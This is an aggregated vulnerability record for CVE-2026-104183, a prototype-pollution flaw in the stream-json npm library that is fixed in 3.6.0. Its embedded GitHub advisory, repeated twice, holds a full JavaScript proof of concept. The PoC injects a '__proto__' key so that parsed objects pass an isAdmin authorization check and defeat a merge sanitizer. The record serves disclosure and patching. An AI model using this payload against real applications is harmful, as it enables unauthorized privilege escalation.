{"id":"CVE-2026-104183","aliases":["CLSA-2026-1791278816","EUVD-2026-91057","GHSA-mjw6-4jj6-33hc"],"status":"published","title":"stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","severity":{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00195,"percentile":0.09354,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-10-01T20:17:21Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"stream-json","fixed_in":["3.6.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"stream-json","fixed_in":["1.9.1-tuxcare.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"stream-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.6.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"stream-json","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.1-tuxcare.0"},{"fixed":"1.9.1-tuxcare.8"}]}],"versions":["1.9.1","1.9.1-tuxcare.1","1.9.1-tuxcare.2","1.9.1-tuxcare.3","1.9.1-tuxcare.4","1.9.1-tuxcare.5","1.9.1-tuxcare.6","1.9.1-tuxcare.7"]},{"source":"osv","ecosystem":"npm","package":"stream-json","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.6.0"}]}]}],"products":[{"vendor":"uhop","product":"stream-json"}],"references":[{"url":"https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/uhop/stream-json/releases/tag/3.6.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104183","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-mjw6-4jj6-33hc"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104183.json","tags":["advisory"]},{"url":"https://github.com/uhop/stream-json","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-104183","title":"stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","status":"published","published":"2026-10-01T20:17:21.645Z","modified":"2026-10-01T20:30:54.674Z","cvss":[{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:20:09.098623Z"}],"euvd":[{"id":"EUVD-2026-91057","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","status":"published","published":"2026-10-01T20:17:21Z","modified":"2026-10-01T20:30:54Z","cvss":[{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T17:27:43.593551Z"}],"ghsa":[{"id":"GHSA-mjw6-4jj6-33hc","title":"stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects","description":"### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,\n//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from 'stream-json';\nimport jsoncParser from 'stream-json/jsonc/Parser.js';\nimport { streamValues } from 'stream-json/streamers/stream-values.js';\nimport { streamObject } from 'stream-json/streamers/stream-object.js';\nimport { Readable } from 'node:stream';\n\nconst sv = (input, P = parser) =\u003e new Promise((res, rej) =\u003e {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on('data', d =\u003e vals.push(d.value)).on('end', () =\u003e res(vals)).on('error', rej);\n});\nconst so = (input) =\u003e new Promise((res, rej) =\u003e {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on('data', d =\u003e { out[d.key] = d.value; }).on('end', () =\u003e res(out)).on('error', rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) =\u003e { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = '{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}';\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv('{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}'))[0].user;\nconst arrProto = (await sv('{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}'))[0];\nconst prim = (await sv('{\"__proto__\":\"x\",\"name\":\"bob\"}'))[0];\nconst ctor = (await sv('{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}'))[0];\n\nconsole.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');\ncheck('StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])', JSON.stringify(Object.keys(sv1)) === '[\"name\",\"age\"]');\ncheck('StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})', JSON.stringify(sv1) === '{\"name\":\"bob\",\"age\":30}');\ncheck('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));\ncheck('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);\ncheck('StreamValues: obj.role === \"superuser\"', sv1.role === 'superuser');\ncheck('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true \u0026\u0026 Object.keys(so1).length === 2);\ncheck('jsonc parser (comments variant): same read-through', jc1.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(jc1)) === '[\"name\",\"age\"]');\ncheck('NESTED: user.isAdmin === true, own keys [\"name\"]', nested.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(nested)) === '[\"name\"]');\n\nconsole.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');\ncheck('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));\ncheck('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);\ncheck('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');\ncheck('proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")', arrProto[0] === 'isAdmin' \u0026\u0026 arrProto[1] === 'role');\ncheck('legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)', arrProto[2] === 'bob' \u0026\u0026 arrProto.length === 3);\n\nconsole.log('== D. FAIL-CLOSED CONTROLS ==');\ncheck('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype \u0026\u0026 Object.keys(prim).length === 1);\ncheck('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') \u0026\u0026 ({}).polluted === undefined);\ncheck('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined \u0026\u0026 ({}).isAdmin === undefined);\n\nconsole.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');\nconst authorize = o =\u003e o.isAdmin === true \u0026\u0026 o.role === 'superuser';\ncheck('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);\ncheck('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);\nconst target = { theme: 'light' };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',\n      Object.prototype.hasOwnProperty.call(target, 'isAdmin') \u0026\u0026 target.isAdmin === true);\nconst t2 = { theme: 'light' };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json \u003c= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---","status":"published","published":"2026-10-05T22:49:19Z","modified":"2026-10-05T22:49:20Z","cvss":[{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-104183","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","status":"published","published":"2026-10-01T21:17:19.197Z","modified":"2026-10-02T18:47:49.947Z","cvss":[{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:53.41762Z"}],"osv":[{"id":"CVE-2026-104183","title":"stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects","description":"stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.","status":"published","published":"2026-10-01T20:17:21.645Z","modified":"2026-10-28T02:31:04.241426939Z","cvss":[{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:54.236592Z"},{"id":"GHSA-mjw6-4jj6-33hc","title":"stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects","description":"### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,\n//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from 'stream-json';\nimport jsoncParser from 'stream-json/jsonc/Parser.js';\nimport { streamValues } from 'stream-json/streamers/stream-values.js';\nimport { streamObject } from 'stream-json/streamers/stream-object.js';\nimport { Readable } from 'node:stream';\n\nconst sv = (input, P = parser) =\u003e new Promise((res, rej) =\u003e {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on('data', d =\u003e vals.push(d.value)).on('end', () =\u003e res(vals)).on('error', rej);\n});\nconst so = (input) =\u003e new Promise((res, rej) =\u003e {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on('data', d =\u003e { out[d.key] = d.value; }).on('end', () =\u003e res(out)).on('error', rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) =\u003e { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = '{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}';\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv('{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}'))[0].user;\nconst arrProto = (await sv('{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}'))[0];\nconst prim = (await sv('{\"__proto__\":\"x\",\"name\":\"bob\"}'))[0];\nconst ctor = (await sv('{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}'))[0];\n\nconsole.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');\ncheck('StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])', JSON.stringify(Object.keys(sv1)) === '[\"name\",\"age\"]');\ncheck('StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})', JSON.stringify(sv1) === '{\"name\":\"bob\",\"age\":30}');\ncheck('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));\ncheck('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);\ncheck('StreamValues: obj.role === \"superuser\"', sv1.role === 'superuser');\ncheck('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true \u0026\u0026 Object.keys(so1).length === 2);\ncheck('jsonc parser (comments variant): same read-through', jc1.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(jc1)) === '[\"name\",\"age\"]');\ncheck('NESTED: user.isAdmin === true, own keys [\"name\"]', nested.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(nested)) === '[\"name\"]');\n\nconsole.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');\ncheck('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));\ncheck('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);\ncheck('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');\ncheck('proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")', arrProto[0] === 'isAdmin' \u0026\u0026 arrProto[1] === 'role');\ncheck('legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)', arrProto[2] === 'bob' \u0026\u0026 arrProto.length === 3);\n\nconsole.log('== D. FAIL-CLOSED CONTROLS ==');\ncheck('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype \u0026\u0026 Object.keys(prim).length === 1);\ncheck('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') \u0026\u0026 ({}).polluted === undefined);\ncheck('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined \u0026\u0026 ({}).isAdmin === undefined);\n\nconsole.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');\nconst authorize = o =\u003e o.isAdmin === true \u0026\u0026 o.role === 'superuser';\ncheck('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);\ncheck('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);\nconst target = { theme: 'light' };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',\n      Object.prototype.hasOwnProperty.call(target, 'isAdmin') \u0026\u0026 target.isAdmin === true);\nconst t2 = { theme: 'light' };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json \u003c= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---","status":"published","published":"2026-10-05T22:49:19Z","modified":"2026-10-05T23:00:04.253333698Z","cvss":[{"version":"3.1","score":5.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","level":"medium"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:51.811331Z"},{"id":"CLSA-2026-1791278816","title":"TuxCare security update for stream-json (1 CVE)","description":"TuxCare rebuilt stream-json to address 1 CVE. Fixed in 1.9.1-tuxcare.8.","status":"published","published":"2026-10-06T09:26:56Z","modified":"2026-10-15T09:47:35.511542778Z","updated_at":"2026-11-02T15:43:49.016976Z"}]}}